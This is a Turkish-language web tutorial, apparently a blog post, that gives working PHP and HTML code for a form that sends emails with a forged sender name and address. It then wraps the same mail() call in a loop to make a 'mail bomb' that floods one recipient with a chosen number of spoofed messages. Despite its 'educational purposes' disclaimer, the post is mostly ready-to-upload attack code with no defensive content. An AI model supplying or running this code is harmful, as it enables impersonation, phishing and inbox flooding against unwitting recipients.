Öncelikle belirtmek isterim ki bu ders eğitim amaçlıdır ve sahte e-mailler (fake mail) ile mail bomb uygulamalarının nasıl yapıldığını mantığıyla gösterme amacı taşımaktadır. Dersimize sahte e-mail uygulaması ile başlayalım.

Sahte E-Mail:

Sahte e-mail, asıl kaynağından gönderilmeyen her tür postaya denir. Örneğin bir e-mail hesabı sizin dahi olsa bu hesap adına hesabın sahip olduğu domain üzerinden mailinizi göndermedikten sonra bu mail sahte maildir. Bu mail formunu nasıl yapabiliriz? Formmail uygulamasına çok benziyor. Zaten ikisi de paralel mantıkta. Değiştirmemiz gereken tek yer gönderici kısmıdır; yani bu alana biz müdahale edebileceğiz. Şimdi neler yapacağız? Öncelikle şunları tanımlayalım:
Daha fazla...
- Gönderenin mail adresi
- Alıcı mail adresi
- Konu
- Mesaj

mailin daha profesyonelce gözükmesini istiyorsak "İsim" ve "Soyisim" değişkenini de oluşturmamız gerekece. O halde kodlamaya başlayalım:

PHP:
  1. <?php
  2.  
  3. $isimsoyisim=$_REQUEST['isimsoyisim'];
  4.  
  5. $gonderen=$_REQUEST['gonderen'];
  6.  
  7. $alici=$_REQUEST['alici'];
  8.  
  9. $konu=$_REQUEST['konu'];
  10.  
  11. $mesaj=$_REQUEST['mesaj'];
  12.  
  13. //Form alanlarımızı oluşturan değişkenlerimizi tanımladık. Şimdi işlem yapalım.
  14.  
  15. mail("$alici", $konu, $mesaj, "From: $isimsoyisim <$gonderen>");
  16.  
  17. //mail fonksiyonumuzu da kullanarak işlemi bitirdik. Şimdi Form alanlarımızı HTML olarak oluşturacağız
  18.  
  19.  ?>

HTML:
  1.  
  2. <head><title>Hill Sahte E-mail Uygulaması</title>
  3.  
  4. </head>
  5.  
  6. <form action="smail.php" method="post">
  7.  
  8.  
  9. <tr><td>İsim Soyisim:</td><td><input type="text" name="isimsoyisim"/></td></tr>
  10.  
  11. <tr><td>Gönderen:</td><td><input type="text" name="gonderen"/></td></tr>
  12.  
  13. <tr><td>Alıcı:</td><td><input type="text" name="alici"/></td></tr>
  14.  
  15. <tr><td>Konu:</td><td><input type="text" name="konu"/></td></tr>
  16.  
  17. <tr><td>Mesaj:</td><td><textarea rows="5" cols="30">Mesajınız</textarea></td></tr>
  18.  
  19. <tr><td colspan="2" align="right"><input type="submit" name="submit" value="Gönder"/></td></tr></table>
  20.  
  21. </form>
  22.  
  23. <br /><br />
  24.  
  25. <center>© Copyright
  26.  
  27. <br /><br />
  28.  
  29. Tamamen eğitim amaçlı olup sahte e-maillerin mantığını göstermektedir.</center>
  30.  
  31. </html>

Sahte e-mail kodlamamız bitti. Bu kodları "smail.php" olarak kaydedip, PHP çalıştırabilen bir hosta upload edin. Gördüğünüz gibi formmail uygulamasından farklı yaptığımız tek iş gönderen kısmı ile ilgili bir form alanı uyguladık ve müdahale ettik.

Sıra geldi Mail Bomb Uygulama mantığına:

Yukarıdaki kodlamaya ek olarak sadece bir döngü ifadesi yerleştireceğiz. Diğer kısımlara dokunmamıza gerek yok. Kodlamaya başlayalım:

HTML:
  1.  
  2. <head><title>Hill Sahte E-mail Uygulaması ve Mail Bomb</title>
  3.  
  4. </head>
  5.  
  6. <form action="smail.php" method="post">
  7.  
  8.  
  9. <tr><td>İsim Soyisim:</td><td><input type="text" name="isimsoyisim"/></td></tr>
  10.  
  11. <tr><td>Gönderen:</td><td><input type="text" name="gonderen"/></td></tr>
  12.  
  13. <tr><td>Alıcı:</td><td><input type="text" name="alici"/></td></tr>
  14.  
  15. <tr><td>Konu:</td><td><input type="text" name="konu"/></td></tr>
  16.  
  17. <tr><td>Adet:</td><td><input type="text" name="number" /></td></tr>
  18.  
  19. <tr><td>Mesaj:</td><td><textarea rows="5" cols="30">Mesajınız</textarea></td></tr>
  20.  
  21. <tr><td colspan="2" align="right"><input type="submit" name="submit" value="Gönder"/></td></tr></table>
  22.  
  23. </form>
  24.  
  25. <br /><br />
  26.  
  27. <center>© Copyright
  28.  
  29. <br /><br />
  30.  
  31. Tamamen eğitim amaçlı olup sahte e-maillerin ve mail bomb uygulamalarının mantığını göstermektedir.</center>
  32.  
  33. </html>

PHP:
  1. <?php
  2. //Eğitim amaçlı yazı
  3.  
  4. $isimsoyisim=$_REQUEST['isimsoyisim'];
  5.  
  6. $gonderen=$_REQUEST['gonderen'];
  7.  
  8. $alici=$_REQUEST['alici'];
  9.  
  10. $konu=$_REQUEST['konu'];
  11.  
  12. $number=$_REQUEST['number'];
  13.  
  14. $mesaj=$_REQUEST['mesaj'];
  15.  
  16. //Form alanlarımızı oluşturan değişkenlerimizi tanımladık. Şimdi işlem yapalım.
  17.  
  18. //İşlemi yaparken while() döngüsünü kullanacağız. Bu ne demek? While belirttiğimiz bir limite kadar aynı kodu tekrar tekrar çalıştıracak.
  19.  
  20. $x=0; //Buradaki x belli şartla için oluşturduğumuz, mail sayısı ile ilişki bir değişken
  21.  
  22. while($x <= $number)
  23.  
  24. {
  25.  
  26. mail("$alici", $konu, $mesaj, "From: $isimsoyisim <$gonderen>");
  27.  
  28. $x++; //Buradaki işlem mail fonksiyonunun kullanımının ardından x değişkeni bir artacak ve number değişkenine eşit olana kadar işleme devam 
  29.  
  30.  }
  31.  
  32.  
  33. //PHP kodlamamamız bitti.
  34.  
  35.  ?>

Favorilerinize Ekleyin.
  • BlinkList
  • del.icio.us
  • Digg
  • Netvouz
  • DZone
  • ThisNext
  • MisterWong
  • Wists
  • blogmarks
  • Blue Dot
  • Furl
  • Netscape
  • NewsVine
  • Reddit
  • Shadows
  • Technorati
  • YahooMyWeb
  • Fark
  • feedmelinks
  • Fleck
  • kick.ie
  • LinkaGoGo
  • Linkter
  • MyShare
  • Spurl
  • Webride